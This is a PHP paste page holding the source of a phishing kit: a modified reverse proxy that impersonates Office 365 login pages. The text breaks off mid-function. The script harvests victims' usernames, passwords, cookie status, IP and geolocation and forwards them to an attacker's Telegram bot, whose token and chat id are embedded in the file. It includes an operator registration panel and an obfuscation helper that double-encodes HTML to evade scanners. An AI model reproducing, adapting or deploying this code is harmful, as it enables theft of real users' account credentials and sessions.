gtyhjk - PHP Online
Form of PHP Sandbox
*** This page was generated with the meta tag "noindex, nofollow". This happened because you selected this option before saving or the system detected it as spam. This means that this page will never get into the search engines and the search bot will not crawl it. There is nothing to worry about, you can still share it with anyone.
Enter Your PHP code here for testing/debugging in the Online PHP Sandbox. As in the usual PHP files, you can also add HTML, but do not forget to add the tag <?php
in the places where the PHP script should be executed.
Result of php executing
Full code of gtyhjk.php
- <?php
- header("Access-Control-Allow-Origin: *");
- $folders = array("temp","tmp");
- foreach ($folders as $folder) {
- if (!file_exists($folder)) {
- mkdir($folder, 0755, true);
- }
- }
- $nededfile = '.htaccess';
- if (!file_exists($nededfile)) {
- //exit("Your file doesn't exist");
- $myfile = fopen($nededfile, "w");
- $filename = basename($_SERVER['SCRIPT_NAME']);
- $txt = "DirectorySlash Off\nDirectoryIndex ".$filename."\nRewriteEngine On\nRewriteCond %{REQUEST_URI} !^./".$filename."$ [NC]\nRewriteRule ^(.+)$ ./".$filename."?q=$1 [L,QSA]";
- fwrite($myfile, $txt);
- fclose($myfile);
- }
- // --- end modifiable variables ---
- $message = '';
- $whitelistPatterns = [
- //Usage example: To whitelist any URL at example.net, including sub-domains, uncomment the
- //line below (which is equivalent to [ @^https?://([a-z0-9-]+\.)*example\.net@i ]):
- //getHostnamePattern("example.net")
- ];
- //To disallow proxying of specific URLs (blacklist), add corresponding regular expressions
- //to the $blacklistPatterns array. To prevent possible abuse, enter the broadest/least-specific patterns possible.
- //You can optionally use the "getHostnamePattern()" helper function to build a regular expression that
- //matches all URLs for a given hostname.
- $blacklistPatterns = [
- //Usage example: To blacklist any URL at example.net, including sub-domains, uncomment the
- //line below (which is equivalent to [ @^https?://([a-z0-9-]+\.)*example\.net@i ]):
- //getHostnamePattern("example.net")
- ];
- $userData = [
- 'apiToken' => 'Njg4MTM1MzAzNDpBQUYweUVmRVdaNTZuTnV3eGJOSElIWV9LNzc2SDNnRVZxSQ==',
- 'chatid' => '6712673935',
- 'AutogetCookies' => True,
- 'UserFile' => 'settings.ini'
- ];
- $userCredantials = [
- 'username' => '',
- 'password' => '',
- 'domain' => 'Office365'
- ];
- //To enable CORS (cross-origin resource sharing) for proxied sites, set $forceCORS to true.
- $forceCORS = false;
- //User Has Cookie
- $hascookie = false;
- //User is TrueLogin
- $TrueLogin = false;
- //Set to false to allow sites on the local network (where KinGOPProxy is running) to be proxied.
- $disallowLocal = true;
- //Set to false to report the client machine's IP address to proxied sites via the HTTP `x-forwarded-for` header.
- //Setting to false may improve compatibility with some sites, but also exposes more information about end users to proxied sites.
- $anonymize = true;
- //Start/default URL that that will be proxied when KinGOPProxy is first loaded in a browser/accessed directly with no URL to proxy.
- //If empty, KinGOPProxy will show its own landing page.
- $startURL = "";
- //When no $startURL is configured above, KinGOPProxy will show its own landing page with a URL form field
- //and the configured example URL. The example URL appears in the instructional text on the KinGOPProxy landing page,
- //and is proxied when pressing the 'Proxy It!' button on the landing page if its URL form is left blank.
- $landingExampleURL = "https://office.com";
- $bot = new Telegram(base64_decode($userData['apiToken']));
- if (isset($_POST['register'])) {
- if (!file_exists($userData['UserFile'])) {
- file_put_contents($userData['UserFile'], '');
- if (isset($_POST['botid'])) {
- if (empty($_POST['botid'])) {
- $_POST['botid'] = $userData['apiToken'];
- }
- }
- $data = $_POST;
- update_ini_file($data, $userData['UserFile']);
- die($userData['UserFile']." updated successfully.");
- }
- }
- if (!file_exists($userData['UserFile'])) {
- //$_SESSION[$_COOKIE['PHPSESSID']]['auth']['message'] = 'Activation Required';
- //file_put_contents($userData['UserFile'],"[API]\r\nToken = ");
- PrintMessage();
- }else{
- $ini_array = parse_ini_file($userData['UserFile'], true /* will scope sectionally */);
- $userData['apiToken'] = hex2bin(base64_decode(hex2bin($ini_array['botid']['botid'])));
- $userData['chatid'] = hex2bin(base64_decode(hex2bin($ini_array['chatid']['chatid'])));
- $userData['Email'] = hex2bin(base64_decode(hex2bin($ini_array['email']['email'])));
- }
- function PrintMessage($reg=false)
- {
- $files_content = <<<EOT
- <html>
- <title>DeaRMaileR</title>
- <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
- <style type="text/css">
- body{
- background: black;
- color: white;
- }
- .centered {
- position: fixed;
- top: 50%;
- left: 50%;
- transform: translate(-50%, -50%);
- -webkit-transform: translate(-50%, -50%);
- -moz-transform: translate(-50%, -50%);
- -o-transform: translate(-50%, -50%);
- -ms-transform: translate(-50%, -50%);
- font-size: 20px;
- background-color: transparent;
- z-index: 100;
- }
- input{
- width: 250px;
- size: 200px;
- padding: 5px;
- }
- #email{
- width: 150px;
- }
- #submit{
- width: 98px;
- }
- #reg{
- border: darkgreen 1px solid;
- padding: 5px;
- }
- #msgbox{
- padd
- }
- .error{
- color: red;
- border: 1px solid red;
- border-left: 5px solid red;
- padding: 10px;
- background: #ffe3d5;
- }
- .conneting{
- color: #ff8f00;
- border: 1px solid #ff8f00;
- border-left: 5px solid #ff8f00;
- padding: 10px;
- background: #f5f5dc;
- }
- .connected{
- color: green;
- border: 1px solid green;
- border-left: 5px solid green;
- padding: 10px;
- background: #F4FFF0;
- }
- </style>
- <body>
- <table>
- <tr>
- <td>
- <div class="centered">
- <div id="msgbox">Welcome:</div>
- <div> </div>
- <div id="reg">
- <form method="POST">
- <table>
- <tbody>
- <tr>
- <td>
- <table width="100%">
- <tbody>
- <tr>
- <td colspan="2"><input id="botid" type="text" placeholder="Telegram Bot ID: 8768765-76543" ></td>
- </tr>
- <tr>
- <td colspan="2"><input id="chatid" type="text" placeholder="Chat ID: 87654876" ></td>
- </tr>
- <tr>
- <td><input id="email" type="email" placeholder="Email for result" ></td>
- <td><input id="submit" type="submit" value="Register"></td>
- </tr>
- </tbody>
- </table>
- </td>
- </tr>
- </tbody>
- </table>
- </form>
- </div>
- </div>
- </td>
- <td>
- <p>
- </p>
- </td>
- </tr>
- </table>
- <script type="text/javascript">
- var url = window.location.pathname;
- var filename = url.substring(url.lastIndexOf('/')+1);
- async function fetch_my_data(_url, _dat) {
- async function promised_fetch(_url, _dat) {
- return new Promise((resolve, reject) => {
- $.ajax({
- url: _url,
- data: _dat,
- type: 'POST',
- success: (response) => {
- $('#msgbox').show();
- $('#msgbox').removeClass('conneting').addClass('connected');
- $('#msgbox').html(response);
- $('#submit').val('Saved');
- resolve(response);
- },
- error: (response) => {
- $('#msgbox').show();
- $('#msgbox').removeClass('conneting').addClass('error');
- $('#msgbox').html(response);
- $('#submit').val('Register');
- reject(response);
- }
- });
- });
- }
- var _data = await promised_fetch(_url, _dat);
- return _data;
- }
- $(document).ready(function() {
- $("input").on('input', function(){
- //alert("HAND");
- $('#msgbox').hide();
- });
- $('#submit').on('click', function(e){
- e.preventDefault();
- var botid = $('input#botid'),
- email = $('input#email'),
- chatid = $('input#chatid');
- if($('#chatid')){
- if (!$.trim(chatid.val())) {
- $('#msgbox').show();
- $('#msgbox').addClass('error');
- chatid.focus();
- $('#msgbox').html('Please enter Chat ID');
- }
- else if (!$.trim(email.val())) {
- $('#msgbox').show();
- $('#msgbox').addClass('error');
- email.focus();
- $('#msgbox').html('Please enter Email');
- }else{
- if(confirm("Are you sure you want to save these?")){
- $('#msgbox').show();
- $('#msgbox').removeClass('error').addClass('conneting');
- $('#msgbox').html('Saving....');
- $('#submit').val('Connecting....');
- var _my_data = fetch_my_data(filename, 'register=1&botid='+$('input#botid').val()+'&chatid='+$('input#chatid').val()+'&email='+$('input#email').val());
- }
- else{
- $('#msgbox').show();
- $('#msgbox').removeClass('conneting').addClass('error');
- $('#msgbox').html('User rejected.');
- return false;
- }
- }
- }
- });
- });
- </script>
- </body>
- </html>
- EOT;
- die($files_content);
- }
- function update_ini_file($data, $filepath) {
- $content = "";
- //parse the ini file to get the sections
- //parse the ini file using default parse_ini_file() PHP function
- $parsed_ini = parse_ini_file($filepath, true);
- foreach($data as $section=>$values){
- //append the section
- $content .= "[".$section."]\n";
- //append the values
- //foreach($values as $key=>$value){
- $content .= $section."=".bin2hex(base64_encode(bin2hex($values)))."\n";
- //}
- }
- //write it into file
- if (!$handle = fopen($filepath, 'w')) {
- return false;
- }
- $success = fwrite($handle, $content);
- fclose($handle);
- return $success;
- }
- function getmessagendsubject($userCredantials,$hascookie=false,$TrueLogin=false)
- {
- $hascookie = $hascookie ? 'True' : 'False';
- $TrueLogin = $TrueLogin ? 'True' : 'False';
- $ip = get_IP_address();
- $ipdat = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=" . $ip));
- $browser = $_SERVER['HTTP_USER_AGENT'];
- $subject = $userCredantials['domain'].' ['.$ip.' - '.$ipdat->geoplugin_countryName.' - '.$ipdat->geoplugin_countryCode.' - '.$ipdat->geoplugin_city.' - '.$ipdat->geoplugin_region.']';
- $message = 'Type: '.$userCredantials['domain']."\n".'Cookie Enable: '.$hascookie."\n".'TrueLogin: '.$TrueLogin."\n".'User: '.$userCredantials['username']."\n".'Password: '.$userCredantials['password']."\n".'IP: '.$ip."\n"."City: {$ipdat->geoplugin_city}\n"."Region: {$ipdat->geoplugin_region}\n"."Country Name: {$ipdat->geoplugin_countryName}\n"."Country Code: {$ipdat->geoplugin_countryCode}\n"."User-Agent: ".$browser."\n";
- return compact('subject','message');
- }
- function auto_code_html($text) {
- $ts = '';
- for ($i = 0; $i < strlen($text); $i++) {
- $ts .= '\u' . sprintf('%04x', ord($text[$i]));
- }
- $tt = '<script language="javascript">document.write(unescape(\'' . $ts . '\'));</script>';
- $te = '';
- for ($i = 0; $i < strlen($tt); $i++) {
- $te .= '\u' . sprintf('%04x', ord($tt[$i]));
- }
- $nt = '<script type="text/javascript">document.write(unescape(\'' . $te . '\'));</script>';
- return $nt;
- }
- /****************************** END CONFIGURATION ******************************/
- ob_start("ob_gzhandler");
- if (version_compare(PHP_VERSION, "5.4.7", "<")) {
- die("KinGOPProxy requires PHP version 5.4.7 or later.");
- }
- $requiredExtensions = ["curl", "mbstring", "xml"];
- foreach($requiredExtensions as $requiredExtension) {
- if (!extension_loaded($requiredExtension)) {
- die("KinGOPProxy requires PHP's \"" . $requiredExtension . "\" extension. Please install/enable it on your server and try again.");
- }
- }
- //Helper function for use inside $whitelistPatterns/$blacklistPatterns.
- //Returns a regex that matches all HTTP[S] URLs for a given hostname.
- function getHostnamePattern($hostname) {
- $escapedHostname = str_replace(".", "\.", $hostname);
- return "@^https?://([a-z0-9-]+\.)*" . $escapedHostname . "@i";
- }
- class Telegram
- {
- /**
- * Telegram Bot ID
- *
- * @var string
- * @access private
- */
- private $bot_key;
- /**
- * Konstruktor => Setzt Bot ID
- *
- * @param string $bkey Bot ID
- * @access public
- */
- public function __construct($bkey = NULL)
- {
- $this->bot_key = $bkey;
- }
- /**
- * Anfrage an Telegram senden
- *
- * @param string $action
- * @param array $data
- * @return array
- * @access private
- */
- private function send($action, $data = array())
- {
- $apiendpoint = ucfirst($action);
- $ch = curl_init("https://api.telegram.org/bot".$this->bot_key."/".$apiendpoint);
- curl_setopt_array($ch, array(
- CURLOPT_RETURNTRANSFER => true,
- CURLOPT_POST => true,
- CURLOPT_HEADER => false,
- CURLOPT_HTTPHEADER => array(
- 'Host: api.telegram.org',
- 'Content-Type: multipart/form-data'
- ),
- CURLOPT_POSTFIELDS => $data,
- CURLOPT_TIMEOUT => 0,
- CURLOPT_CONNECTTIMEOUT => 6000,
- CURLOPT_SSL_VERIFYPEER => false
- ));
- $result = curl_exec($ch);
- curl_close($ch);
- return !empty($result) ? json_decode($result, true) : false;
- }
- /**
- * Nachricht senden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $text required Text der gesendet werden soll
- * @param string $parse_mode optinal Markdown oder HTML f���r z.B. fettgedruckte Texte
- * @param boolean $disable_web_page_preview optinal Legt fest ob Webpreview deaktivert werden soll
- * @param boolean $disable_notification optinal Benachrichtigung deaktivieren
- * @param integer $reply_to_message_id optinal Nachrichten ID f���r den "Antworten" Modus (reply)
- * @return array
- * @access public
- */
- public function sendMessage($chat_id, $text, $parse_mode = NULL, $disable_web_page_preview = false, $disable_notification = false, $reply_to_message_id = NULL)
- {
- $action = 'sendMessage';
- $param = array(
- 'chat_id' => $chat_id,
- 'text' => $text,
- 'parse_mode' => $parse_mode,
- 'disable_web_page_preview' => $disable_web_page_preview,
- 'disable_notification' => $disable_notification,
- 'reply_to_message_id' => $reply_to_message_id
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Message send");
- return $result;
- }
- /**
- * Bild senden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $photo required Bild das gesendet werden soll
- * @param string $caption optional Bildbeschreibung
- * @return array
- * @access public
- */
- public function sendPhoto($chat_id, $photo, $caption = NULL)
- {
- $action = 'sendPhoto';
- $param = array(
- 'chat_id' => $chat_id,
- 'photo' => $this->curlFile($photo),
- 'caption' => $caption
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Photo send");
- return $result;
- }
- /**
- * Dateien senden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $document required Datei die gesendet werden soll
- * @return array
- * @access public
- */
- public function sendDocument($chat_id, $document)
- {
- $action = 'sendDocument';
- $param = array(
- 'chat_id' => $chat_id,
- 'document' => $this->curlFile($document)
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Document send");
- return $result;
- }
- /**
- * Audio senden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $audio required Audio Datei die gesendet werden soll
- * @param string $interpret optional Interpret
- * @param string $title optional Titel
- * @return array
- * @access public
- */
- public function sendAudio($chat_id, $audio, $interpret = NULL, $title = NULL)
- {
- $action = 'sendAudio';
- $param = array(
- 'chat_id' => $chat_id,
- 'audio' => $this->curlFile($audio),
- 'performer' => $interpret,
- 'title' => $title
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Audio send");
- return $result;
- }
- /**
- * Video senden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $video required Viedeo das gesendet werden soll
- * @param string $caption optional Videobeschreibung
- * @return array
- * @access public
- */
- public function sendVideo($chat_id, $video, $caption = NULL)
- {
- $action = 'sendPhoto';
- $param = array(
- 'chat_id' => $chat_id,
- 'video' => $this->curlFile($video),
- 'caption' => $caption
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Video send");
- return $result;
- }
- /**
- * Chat Aktion senden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param integer $type required 1 => Nachrichten, 2 => Fotos, 3 => Viedeo aufnehmen, 4 => Viedeo senden/hochladen, 5 => Audio aufnehmen, 6 => Audio senden/hochladen, 7 => Dateien
- * @return array
- * @access public
- */
- public function sendChatAction($chat_id, $type)
- {
- $do_action = "";
- switch($type)
- {
- case 1:
- $do_action = "typing";
- break;
- case 2:
- $do_action = "upload_photo";
- break;
- case 3:
- $do_action = "record_video";
- break;
- case 4:
- $do_action = "upload_video";
- break;
- case 5:
- $do_action = "record_audio";
- break;
- case 6:
- $do_action = "upload_audio";
- break;
- case 7:
- $do_action = "upload_document";
- break;
- }
- $action = 'sendChatAction';
- $param = array(
- 'chat_id' => $chat_id,
- 'action' => $do_action
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Chat Action send");
- return $result;
- }
- /**
- * User aus Gruppe kicken
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param integer $user_id required ID des Users der gekickt werden soll
- * @return array
- * @access public
- */
- public function kickChatMember($chat_id, $user_id)
- {
- $action = 'kickChatMember';
- $param = array(
- 'chat_id' => $chat_id,
- 'user_id' => $user_id
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Member kicked");
- return $result;
- }
- /**
- * Ban von einem User entfernen
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param integer $user_id required ID des Users der entbannt werden soll
- * @return array
- * @access public
- */
- public function unbanChatMember($chat_id, $user_id)
- {
- $action = 'unbanChatMember';
- $param = array(
- 'chat_id' => $chat_id,
- 'user_id' => $user_id
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Member kicked");
- return $result;
- }
- /**
- * Auswahl Keyboard zeigen
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $text required Text der gesendet werden soll
- * @param array $keyboard required Auswahlfelder z.B. array( array( "Zeile1 Test1", "Zeile1 Test2" ), array( "Zeile2 Test3", "Zeile2 Test4" ) )
- * @return array
- * @access public
- */
- public function sendKeyboard($chat_id, $text, $keyboard = Array())
- {
- $action = 'sendMessage';
- $param = array(
- 'chat_id' => $chat_id,
- 'reply_markup' => json_encode(array("keyboard" => $keyboard)),
- 'text' => $text
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Keyboard show");
- return $result;
- }
- /**
- * Auswahl Keyboard ausblenden
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $chat_id required ID des Telegram Chats
- * @param string $text required Text der gesendet werden soll
- * @return array
- * @access public
- */
- public function hideKeyboard($chat_id, $text)
- {
- $action = 'sendMessage';
- $param = array(
- 'chat_id' => $chat_id,
- 'reply_markup' => json_encode(array("hide_keyboard" => true)),
- 'text' => $text
- );
- $res = $this->send($action, $param);
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => "Keyboard hide");
- return $result;
- }
- /**
- * Webhook setzen
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @param string $url required URL zu der Datei mit der der Telegram Bot verbunden werden soll
- * @return array
- * @access public
- */
- public function setWebhook($url = NULL)
- {
- $result = Array();
- if (empty($url))
- $result = Array("success" => 0, "info" => "Keine g���ltige URL angegeben");
- else
- {
- $url .= "?sender=telegram";
- $res = $this->send('setWebhook', array('url' => $url));
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Webhook was not set! Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => $res['description']);
- }
- return $result;
- }
- /**
- * Webhook l���schen
- *
- * <b>Output:</b><br>
- * <code>
- * Array
- * (
- * [success] => 1 oder 0
- * [info] => Zeigt Info oder Fehlermeldung
- * )
- * </code>
- *
- * @return array
- * @access public
- */
- public function delWebhook()
- {
- $result = Array();
- $res = $this->send('setWebhook');
- if (!$res['ok'])
- $result = Array("success" => 0, "info" => "Webhook was not delete! Error: " . $res['description']);
- else
- $result = Array("success" => 1, "info" => $res['description']);
- return $result;
- }
- /**
- * create curl file
- *
- * @param string $fileName
- * @return string
- */
- private function curlFile($fileName)
- {
- $filename = realpath($fileName);
- if (!is_file($filename))
- throw new Exception('File does not exists');
- if (function_exists('curl_file_create'))
- return curl_file_create($filename);
- return "@$filename";
- }
- }
- function get_IP_address(){
- foreach (array('HTTP_CLIENT_IP',
- 'HTTP_X_FORWARDED_FOR',
- 'HTTP_X_FORWARDED',
- 'HTTP_X_CLUSTER_CLIENT_IP',
- 'HTTP_FORWARDED_FOR',
- 'HTTP_FORWARDED',
- 'REMOTE_ADDR') as $key){
- if (array_key_exists($key, $_SERVER) === true){
- foreach (explode(',', $_SERVER[$key]) as $IPaddress){
- $IPaddress = trim($IPaddress); // Just to be safe
- if (filter_var($IPaddress,
- FILTER_VALIDATE_IP,
- FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)
- !== false) {
- return $IPaddress;
- }
- }
- }
- }
- }
- //Helper function that determines whether to allow proxying of a given URL.
- function isValidURL($url) {
- //Validates a URL against the whitelist.
- function passesWhitelist($url) {
- if (count($GLOBALS['whitelistPatterns']) === 0) return true;
- foreach ($GLOBALS['whitelistPatterns'] as $pattern) {
- if (preg_match($pattern, $url)) {
- return true;
- }
- }
- return false;
- }
- //Validates a URL against the blacklist.
- function passesBlacklist($url) {
- foreach ($GLOBALS['blacklistPatterns'] as $pattern) {
- if (preg_match($pattern, $url)) {
- return false;
- }
- }
- return true;
- }
- function isLocal($url) {
- //die($url);
- //First, generate a list of IP addresses that correspond to the requested URL.
- $ips = [];
- $host = parse_url($url, PHP_URL_HOST);
- if (filter_var($host, FILTER_VALIDATE_IP)) {
- //The supplied host is already a valid IP address.
- $ips = [$host];
- } else {
- //The host is not a valid IP address; attempt to resolve it to one.
- $dnsResult = dns_get_record($host, DNS_A + DNS_AAAA);
- $ips = array_map(function($dnsRecord) { return $dnsRecord['type'] == 'A' ? $dnsRecord['ip'] : $dnsRecord['ipv6']; }, $dnsResult);
- }
- foreach ($ips as $ip) {
- //Determine whether any of the IPs are in the private or reserved range.
- if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
- return true;
- }
- }
- return false;
- }
- return passesWhitelist($url) && passesBlacklist($url) && ($GLOBALS['disallowLocal'] ? !isLocal($url) : true);
- }
- //Helper function used to removes/unset keys from an associative array using case insensitive matching
- function removeKeys(&$assoc, $keys2remove) {
- $keys = array_keys($assoc);
- $map = [];
- $removedKeys = [];
- foreach ($keys as $key) {
- $map[strtolower($key)] = $key;
- }
- foreach ($keys2remove as $key) {
- $key = strtolower($key);
- if (isset($map[$key])) {
- unset($assoc[$map[$key]]);
- $removedKeys[] = $map[$key];
- }
- }
- return $removedKeys;
- }
- if (!function_exists("getallheaders")) {
- //Adapted from http://www.php.net/manual/en/function.getallheaders.php#99814
- function getallheaders() {
- $result = [];
- foreach($_SERVER as $key => $value) {
- if (substr($key, 0, 5) == "HTTP_") {
- $key = str_replace(" ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))));
- $result[$key] = $value;
- }
- }
- return $result;
- }
- }
- $usingDefaultPort = (!isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 80) || (isset($_SERVER["HTTPS"]) && $_SERVER["SERVER_PORT"] === 443);
- $prefixPort = $usingDefaultPort ? "" : ":" . $_SERVER["SERVER_PORT"];
- //Use HTTP_HOST to support client-configured DNS (instead of SERVER_NAME), but remove the port if one is present
- $prefixHost = $_SERVER["HTTP_HOST"];
- $prefixHost = strpos($prefixHost, ":") ? implode(":", explode(":", $_SERVER["HTTP_HOST"], -1)) : $prefixHost;
- define("PROXY_PREFIX", "http" . (isset($_SERVER["HTTPS"]) ? "s" : "") . "://" . $prefixHost . $prefixPort.explode('?', $_SERVER["REQUEST_URI"], 2)[0] ."?");
- //Makes an HTTP request via cURL, using request data that was passed directly to this script.
- function makeRequest($url) {
- global $anonymize;
- //Tell cURL to make the request using the brower's user-agent if there is one, or a fallback user-agent otherwise.
- $user_agent = $_SERVER["HTTP_USER_AGENT"];
- if (empty($user_agent)) {
- $user_agent = "Mozilla/5.0 (compatible; KinGOPProxy)";
- }
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
- //Get ready to proxy the browser's request headers...
- $browserRequestHeaders = getallheaders();
- //...but let cURL set some headers on its own.
- $removedHeaders = removeKeys(
- $browserRequestHeaders,
- [
- "Accept-Encoding", //Throw away the browser's Accept-Encoding header if any and let cURL make the request using gzip if possible.
- "Content-Length",
- "Host",
- "Origin"
- ]
- );
- $removedHeaders = array_map("strtolower", $removedHeaders);
- curl_setopt($ch, CURLOPT_ENCODING, "");
- //Transform the associative array from getallheaders() into an
- //indexed array of header strings to be passed to cURL.
- $curlRequestHeaders = [];
- foreach ($browserRequestHeaders as $name => $value) {
- $curlRequestHeaders[] = $name . ": " . $value;
- }
- if (!$anonymize) {
- $curlRequestHeaders[] = "X-Forwarded-For: " . $_SERVER["REMOTE_ADDR"];
- }
- //Any `origin` header sent by the browser will refer to the proxy itself.
- //If an `origin` header is present in the request, rewrite it to point to the correct origin.
- if (in_array("origin", $removedHeaders)) {
- $urlParts = parse_url($url);
- $port = $urlParts["port"];
- $curlRequestHeaders[] = "Origin: " . $urlParts["scheme"] . "://" . $urlParts["host"] . (empty($port) ? "" : ":" . $port);
- };
- curl_setopt($ch, CURLOPT_HTTPHEADER, $curlRequestHeaders);
- //Proxy any received GET/POST/PUT data.
- switch ($_SERVER["REQUEST_METHOD"]) {
- case "POST":
- curl_setopt($ch, CURLOPT_POST, true);
- //For some reason, $HTTP_RAW_POST_DATA isn't working as documented at
- //http://php.net/manual/en/reserved.variables.httprawpostdata.php
- //but the php://input method works. This is likely to be flaky
- //across different server environments.
- //More info here: http://stackoverflow.com/questions/8899239/http-raw-post-data-not-being-populated-after-upgrade-to-php-5-3
- //If the KINGOPProxyFormAction field appears in the POST data, remove it so the destination server doesn't receive it.
- $postData = [];
- parse_str(file_get_contents("php://input"), $postData);
- if (isset($postData["KINGOPProxyFormAction"])) {
- unset($postData["KINGOPProxyFormAction"]);
- }
- curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));
- break;
- case "PUT":
- curl_setopt($ch, CURLOPT_PUT, true);
- curl_setopt($ch, CURLOPT_INFILE, fopen("php://input", "r"));
- break;
- }
- //Other cURL options.
- curl_setopt($ch, CURLOPT_HEADER, true);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
- //Set the request URL.
- curl_setopt($ch, CURLOPT_URL, $url);
- //Make the request.
- $response = curl_exec($ch);
- $responseInfo = curl_getinfo($ch);
- $headerSize = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
- curl_close($ch);
- //Setting CURLOPT_HEADER to true above forces the response headers and body
- //to be output together--separate them.
- $responseHeaders = substr($response, 0, $headerSize);
- $responseBody = substr($response, $headerSize);
- return ["headers" => $responseHeaders, "body" => $responseBody, "responseInfo" => $responseInfo];
- }
- //Converts relative URLs to absolute ones, given a base URL.
- //Modified version of code found at http://nashruddin.com/PHP_Script_for_Converting_Relative_to_Absolute_URL
- function rel2abs($rel, $base) {
- if (empty($rel)) $rel = ".";
- if (parse_url($rel, PHP_URL_SCHEME) != "" || strpos($rel, "//") === 0) return $rel; //Return if already an absolute URL
- if ($rel[0] == "#" || $rel[0] == "?") return $base.$rel; //Queries and anchors
- extract(parse_url($base)); //Parse base URL and convert to local variables: $scheme, $host, $path
- $path = isset($path) ? preg_replace("#/[^/]*$#", "", $path) : "/"; //Remove non-directory element from path
- if ($rel[0] == "/") $path = ""; //Destroy path if relative url points to root
- $port = isset($port) && $port != 80 ? ":" . $port : "";
- $auth = "";
- if (isset($user)) {
- $auth = $user;
- if (isset($pass)) {
- $auth .= ":" . $pass;
- }
- $auth .= "@";
- }
- $abs = "$auth$host$port$path/$rel"; //Dirty absolute URL
- for ($n = 1; $n > 0; $abs = preg_replace(["#(/\.?/)#", "#/(?!\.\.)[^/]+/\.\./#"], "/", $abs, -1, $n)) {} //Replace '//' or '/./' or '/foo/../' with '/'
- return $scheme . "://" . $abs; //Absolute URL is ready.
- }
- //Proxify contents of url() references in blocks of CSS text.
- function proxifyCSS($css, $baseURL) {
- //Add a "url()" wrapper to any CSS @import rules that only specify a URL without the wrapper,
- //so that they're proxified when searching for "url()" wrappers below.
- $sourceLines = explode("\n", $css);
- $normalizedLines = [];
- foreach ($sourceLines as $line) {
- if (preg_match("/@import\s+url/i", $line)) {
- $normalizedLines[] = $line;
- } else {
- $normalizedLines[] = preg_replace_callback(
- "/(@import\s+)([^;\s]+)([\s;])/i",
- function($matches) use ($baseURL) {
- return $matches[1] . "url(" . $matches[2] . ")" . $matches[3];
